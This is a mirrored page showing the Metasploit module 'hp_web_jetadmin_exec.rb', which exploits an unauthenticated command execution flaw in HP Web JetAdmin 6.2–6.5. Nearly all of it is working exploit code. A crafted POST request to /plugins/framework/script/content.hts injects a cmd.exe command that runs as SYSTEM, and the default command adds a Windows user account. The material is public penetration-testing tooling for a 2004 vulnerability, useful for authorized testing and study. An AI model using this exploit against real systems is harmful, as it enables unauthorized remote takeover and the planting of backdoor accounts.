Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb
21546 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'HP Web JetAdmin 6.5 Server Arbitrary Command Execution',
14
'Description' => %q{
15
This module abuses a command execution vulnerability within the
16
web based management console of the Hewlett-Packard Web JetAdmin
17
network printer tool v6.2 - v6.5. It is possible to execute commands
18
as SYSTEM without authentication. The vulnerability also affects POSIX
19
systems, however at this stage the module only works against Windows.
20
This module does not apply to HP printers.
21
},
22
'Author' => [ 'aushack' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
[ 'OSVDB', '5798' ],
26
[ 'BID', '10224' ],
27
[ 'EDB', '294' ]
28
],
29
'DisclosureDate' => '2004-04-27',
30
'Notes' => {
31
'Stability' => [CRASH_SAFE],
32
'SideEffects' => [IOC_IN_LOGS],
33
'Reliability' => []
34
}
35
)
36
)
37
38
register_options(
39
[
40
Opt::RPORT(8000),
41
OptString.new('CMD', [ false, 'The command to execute.', 'net user metasploit password /add' ]),
42
]
43
)
44
end
45
46
def run
47
cmd = datastore['CMD'].gsub(' ', ',')
48
49
send_request_cgi({
50
'uri' => '/plugins/framework/script/content.hts',
51
'method' => 'POST',
52
'data' => 'obj=Httpd:ExecuteFile(,cmd.exe,/c,' + cmd + ',)'
53
}, 3)
54
end
55
end
56
57